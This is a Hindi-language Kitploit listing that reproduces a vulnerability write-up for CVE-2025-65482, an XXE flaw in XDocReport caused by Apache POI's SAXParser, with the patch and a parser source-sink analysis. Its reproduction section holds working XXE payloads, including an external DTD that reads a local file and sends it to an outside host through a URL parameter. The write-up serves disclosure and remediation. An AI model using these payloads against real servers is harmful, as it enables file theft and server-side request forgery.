Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2025-65482-XXE- — CVE-2025-65482 (XXE) | Kitploit
उपकरण/GitHubGitHub/at190510-cuong/cve-2025-65482-xxe-
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणडेटा निष्कासनपेपर और शोधलर्निंग और शिक्षा
GitHubat190510-cuong/cve-2025-65482-xxe-

CVE-2025-65482-XXE-

CVE-2025-65482 (XXE)

रिपॉजिटरी देखें
129 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2025-65482 (XXE)

XML External Entity Injection (XXE) in XDocReport

Bug Definition

XML External Entity Injection

Tổng quan về lỗ hổng

  • XML External Entity Injection (XXE) एक ऐसी कमजोरी है जो XML प्रारूप डेटा के प्रसंस्करण में होती है, जिसमें उपयोगकर्ता किसी बाहरी फ़ाइल या सिस्टम का संदर्भ देने वाला XML डेटा सम्मिलित करता है। हमलावर इस पहचान की गई XXE कमजोरी का उपयोग अन्य सिस्टमों को स्कैन करने के लिए कर सकता है ताकि खुले सेवा पोर्ट खोज सके, गोपनीय फ़ाइलों का अनुरोध कर सके और जुड़े सिस्टमों की उन कार्यक्षमताओं तक पहुँच प्राप्त कर सके जो अन्यथा उपलब्ध नहीं होतीं। यहाँ से, हमलावर डेटा निकाल सकता है, सिस्टमों के साथ इंटरैक्ट कर सकता है और XML सम्मिलन के माध्यम से सेवा में व्यवधान उत्पन्न कर सकता है।

व्यावसायिक प्रभाव

  • XXE से व्यवसाय की प्रतिष्ठा को नुकसान हो सकता है क्योंकि उपयोगकर्ता विश्वास और भरोसा खो देते हैं। यह डेटा चोरी और अप्रत्यक्ष वित्तीय हानि का कारण भी बन सकता है, जो अधिसूचना लागत, सुधार लागत और उल्लंघन किए गए PII डेटा के कारण होता है।

Severity HIGH

image

Description and Impact

कार्मिक प्रबंधन वेबसाइट उपयोगकर्ताओं को सिस्टम पर .docx दस्तावेज़ फ़ाइल अपलोड करने की अनुमति देती है। प्रसंस्करण के दौरान, एप्लिकेशन लाइब्रेरी का उपयोग करता है जिसमें XXE कमजोरी है, जब उपयोगकर्ता की फ़ाइल को के माध्यम से भेजा जाता है।

टूल डाउनलोड करें
fr.opensagres.xdocreport.document.docx
.docx
SAXParser

Affected component

fr.opensagres.xdocreport.template.docx — XDocReport (versions =< 2.0.3)

Root cause analysis

कारण यह है कि Apache POI का उपयोग किया जाता है।

root@kitploit:~
fr.opensagres.xdocreport.document.docx
   └── fr.opensagres.xdocreport.document
         └── fr.opensagres.xdocreport.template
               └── fr.opensagres.xdocreport.converter
                     └── org.apache.poi.xwpf.converter.core
                           ├── org.apache.poi:poi
                           └── org.apache.poi:poi-ooxml

अर्थात्, Apache POI बहुत गहराई में है, मॉड्यूल में:

root@kitploit:~
org.apache.poi.xwpf.converter.core

image

गलती इसलिए होती है क्योंकि XDocReport (मॉड्यूल fr.opensagres.xdocreport.document.docx में) .docx फ़ाइलों को पढ़ने के लिए Apache POI का उपयोग करता है, और POI Java के डिफ़ॉल्ट SAXParser का उपयोग करता है, जिसमें DTD और बाहरी संस्थाओं (External Entities) को संसाधित करने की सुविधाएँ बंद नहीं की गई हैं। → इससे हमलावर को DOCTYPE में entity डालने की अनुमति मिलती है जो बाहर की ओर इशारा करती है (SYSTEM "http://...") या आंतरिक फ़ाइल (file:///...) की ओर → XXE उत्पन्न होती है।

image

root@kitploit:~
XDocReport → fr.opensagres.xdocreport.document.docx → Apache POI (org.apache.poi.xwpf.converter.core) → SAXParser (javax.xml.parsers.SAXParser)

Step to reproduce

  • किसी भी docx फ़ाइल को अनज़िप करें
root@kitploit:~
unzip ../vcspentest.docx

image

  • docx के अंदर document.xml फ़ाइल की सामग्री संपादित करें
root@kitploit:~
nano word/document.xml

image

निम्नलिखित outband पेलोड के साथ संपादित करें, collabrator के माध्यम से:

root@kitploit:~
<!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://qrlbu64xvd8jr1y8zwcgoiwnler5fx3m.oastify.com/"> ]>
<x>&xxe;</x>

image

  • पुनः poc फ़ाइल में ज़िप करें
root@kitploit:~
 zip -r ../poc.docx *

image

image

  • संपादित docx फ़ाइल को xdocreport प्रसंस्करण के माध्यम से अपलोड करें

image

  • परिणाम: collabrator पर अनुरोध भेजा गया देखा गया

image

  • प्रभाव बढ़ाएँ: सिस्टम में फ़ाइल पढ़ें
  • wsl मशीन 172.26.208.130 पर dtd फ़ाइल संग्रहीत करने वाले होस्ट पर, vcspentest.dtd फ़ाइल की सामग्री इस प्रकार है:
root@kitploit:~
<!ENTITY % file SYSTEM "file:///d:/vcspentest.txt">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://172.26.208.130:8888/?x=%file;'>">
%eval;
%exfil;

image

image

.docx फ़ाइल में word/document.xml फ़ाइल को wsl से बाहरी dtd लोड करने के लिए निम्नलिखित सामग्री से संपादित करें:

root@kitploit:~
<!DOCTYPE users [<!ENTITY % xxe SYSTEM "http://172.26.208.130:8888/vcspentest.dtd"> %xxe;]>

image

  • फ़ाइल को .docx में ज़िप करें और सर्वर पर प्रसंस्करण के लिए अपलोड करें

image

image

  • wsl मशीन पर, लक्ष्य सर्वर पर फ़ाइल D:/vcspentest.txt की सामग्री के साथ अनुरोध देखा गया

image

image

Solution

  • https://github.com/opensagres/xdocreport/pull/547/commits/a8e48d17f02c19b807efe450d20f1755e45d818b

image

कोड में या XML पार्सर कॉन्फ़िगरेशन स्तर पर, DTD और बाहरी संस्थाओं से संबंधित सभी सुविधाओं को बंद करना आवश्यक है।

इस कोड के समान सुधार:

root@kitploit:~
    @RequestMapping(value = "/SAXParser/vuln", method = RequestMethod.POST)
    public String SAXParserVuln(HttpServletRequest request) {
        try {
            String body = WebUtils.getRequestBody(request);
            logger.info(body);

            SAXParserFactory spf = SAXParserFactory.newInstance();
            SAXParser parser = spf.newSAXParser();
            parser.parse(new InputSource(new StringReader(body)), new DefaultHandler());  // parse xml

            return "SAXParser xxe vuln code";
        } catch (Exception e) {
            logger.error(e.toString());
            return EXCEPT;
        }
    }


    @RequestMapping(value = "/SAXParser/sec", method = RequestMethod.POST)
    public String SAXParserSec(HttpServletRequest request) {
        try {
            String body = WebUtils.getRequestBody(request);
            logger.info(body);

            SAXParserFactory spf = SAXParserFactory.newInstance();
            spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
            spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
            spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
            SAXParser parser = spf.newSAXParser();
            parser.parse(new InputSource(new StringReader(body)), new DefaultHandler());  // parse xml
        } catch (Exception e) {
            logger.error(e.toString());
            return EXCEPT;
        }
        return "SAXParser xxe security code";
    }

Debugging environment setup

image

  • Main.java फ़ाइल में
root@kitploit:~
package org.example;

import fr.opensagres.xdocreport.document.IXDocReport;
import fr.opensagres.xdocreport.document.registry.XDocReportRegistry;
import fr.opensagres.xdocreport.template.IContext;
import fr.opensagres.xdocreport.template.TemplateEngineKind;

import java.io.*;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.OutputStream;

public class Main {

    public static void main(String[] args) {
        try {
            // Velocity अभिव्यक्ति वाली इनपुट फ़ाइल पढ़ें
            File docxTemplate = new File("C:\\Users\\HP\\Downloads\\New folder (3)\\poc.docx"); // इनपुट फ़ाइल
            InputStream input = new FileInputStream(docxTemplate);

//             Velocity का उपयोग करके टेम्पलेट लोड करें
//            IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Velocity);

            // FreeMarker का उपयोग करके टेम्पलेट लोड करें
            IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker);

            // कॉन्टेक्स्ट बनाएँ - केवल स्वतंत्र अभिव्यक्ति का परीक्षण करने पर खाली छोड़ा जा सकता है
            IContext context = report.createContext();

            // नई फ़ाइल में आउटपुट करें
            OutputStream out = new FileOutputStream(new File("C:\\Users\\HP\\Downloads\\results.docx"));
            report.process(context, out);

            System.out.println("✅ result.docx फ़ाइल सफलतापूर्वक बनाई गई।");
        } catch (Exception e) {
            System.err.println("❌ फ़ाइल प्रसंस्करण में त्रुटि:");
            e.printStackTrace();
        }
    }
}
  • आवश्यक लाइब्रेरी
root@kitploit:~
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>vcs1</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <maven.compiler.source>18</maven.compiler.source>
        <maven.compiler.target>18</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>

    <dependencies>
        <!-- Template engine: FreeMarker -->
        <dependency>
            <groupId>fr.opensagres.xdocreport</groupId>
            <artifactId>fr.opensagres.xdocreport.template.freemarker</artifactId>
            <version>2.1.0</version>
        </dependency>

        <dependency>
            <groupId>fr.opensagres.xdocreport</groupId>
            <artifactId>fr.opensagres.xdocreport.template.velocity</artifactId>
            <version>2.1.0</version>
        </dependency>

        <dependency>
            <groupId>fr.opensagres.xdocreport</groupId>
            <artifactId>fr.opensagres.xdocreport.document.docx</artifactId>
            <version>2.0.3</version>
        </dependency>
    </dependencies>
</project>

Debugging: Source sink analysis

  • इनपुट .docx में XML सामग्री को प्रीप्रोसेस द्वारा संसाधित किया जाता है

image

  • फिर इसे SAXParser द्वारा संसाधित किया जाता है, बिना इनपुट सत्यापन के

image

image

image

image

  • फिर यह scanDocument() फ़ंक्शन में जाता है और XML सामग्री को स्कैन करता है, जिससे "इवेंट" (START_DOCUMENT, START_ELEMENT, CHARACTERS, ENTITY_REFERENCE, आदि) उत्पन्न होते हैं।

image

image

image

image

  • जाँच करें कि क्या entity का नाम ("xxe") एक बाहरी entity है?

  • यदि entity घोषित की गई है और बाहरी है, तो पार्सर बाहरी समाधान (resolve external) तर्क को कॉल करेगा (उदाहरण startExternalEntity(...) / fEntityManager.startEntity(...)) — यह sink है: यहाँ पार्सर systemId/publicId लेगा और स्ट्रीम खोलने का प्रयास करेगा (जो बाहरी HTTP अनुरोध उत्पन्न कर सकता है)।

image

image

image

  • xxe एक बाहरी entity है, तो startEntity(...) संसाधन खोलने के तर्क की ओर ले जाएगा (उदाहरण startExternalEntity(...) / InputStream खोलें → SYSTEM URL पर HTTP अनुरोध उत्पन्न करने की क्षमता)।

image

image

image

  • यह वह बिंदु है जहाँ पार्सर entity "xxe" को संसाधित करना शुरू करता है।

image

image

image

image

image

image

root@kitploit:~
  // should we skip external entities?
        boolean external = entity.isExternal();
        Entity.ExternalEntity externalEntity = null;
        String extLitSysId = null, extBaseSysId = null, expandedSystemId = null;
        if (external) {
            externalEntity = (Entity.ExternalEntity)entity;
            extLitSysId = (externalEntity.entityLocation != null ? externalEntity.entityLocation.getLiteralSystemId() : null);
            extBaseSysId = (externalEntity.entityLocation != null ? externalEntity.entityLocation.getBaseSystemId() : null);
            expandedSystemId = expandSystemId(extLitSysId, extBaseSysId, fStrictURI);
            boolean unparsed = entity.isUnparsed();
            boolean parameter = entityName.startsWith("%");
            boolean general = !parameter;
            if (unparsed || (general && !fExternalGeneralEntities) ||
                    (parameter && !fExternalParameterEntities) ||
                    !fSupportDTD || !fSupportExternalEntities) {

                if (fEntityHandler != null) {
                    fResourceIdentifier.clear();
                    final String encoding = null;
                    fResourceIdentifier.setValues(
                            (externalEntity.entityLocation != null ? externalEntity.entityLocation.getPublicId() : null),
                            extLitSysId, extBaseSysId, expandedSystemId);
                    fEntityAugs.removeAllItems();
                    fEntityAugs.putItem(Constants.ENTITY_SKIPPED, Boolean.TRUE);
                    fEntityHandler.startEntity(entityName, fResourceIdentifier, encoding, fEntityAugs);
                    fEntityAugs.removeAllItems();
                    fEntityAugs.putItem(Constants.ENTITY_SKIPPED, Boolean.TRUE);
                    fEntityHandler.endEntity(entityName, fEntityAugs);
                }
                return;
            }
        }

image

  • startEntity() फ़ंक्शन जाँचता है कि क्या entity बाहरी entity है (isExternal = true), फिर कॉल करता है:
root@kitploit:~
staxInputSource = resolveEntityAsPerStax(externalEntity.entityLocation);

वेरिएबल externalEntity.entityLocation में DOCTYPE (SYSTEM "http://...oastify.com/") से दुर्भावनापूर्ण URL है।

image

  • resolveEntityAsPerStax, वेरिएबल resourceIdentifier में पूर्ण पथ शामिल है: http://qrlbu64xvd8jr1y8zwcgoiwnler5fx3m.oastify.com/

  • यह फ़ंक्शन फिर resourceIdentifier को XMLResourceIdentifierImpl ऑब्जेक्ट में बदलता है और वास्तविक कनेक्शन खोलने के लिए आगे बढ़ता है ताकि सामग्री पढ़ सके।

image

image

Documentation

  • https://drive.google.com/drive/folders/1hUyCznpBN7ivo5krmyJ4OQc_q626Hy5q?usp=drive_link